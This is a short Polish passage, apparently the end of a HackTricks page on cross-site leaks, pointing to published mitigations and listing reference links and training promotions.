Istnieją środki zaradcze rekomendowane w https://xsinator.com/paper.pdf oraz w każdej sekcji wiki https://xsleaks.dev/. Sprawdź je, aby uzyskać więcej informacji o tym, jak chronić się przed tymi technikami.
Źródła
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
- Cross-Site Leaks (XS-Leaks) across Meta platforms
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


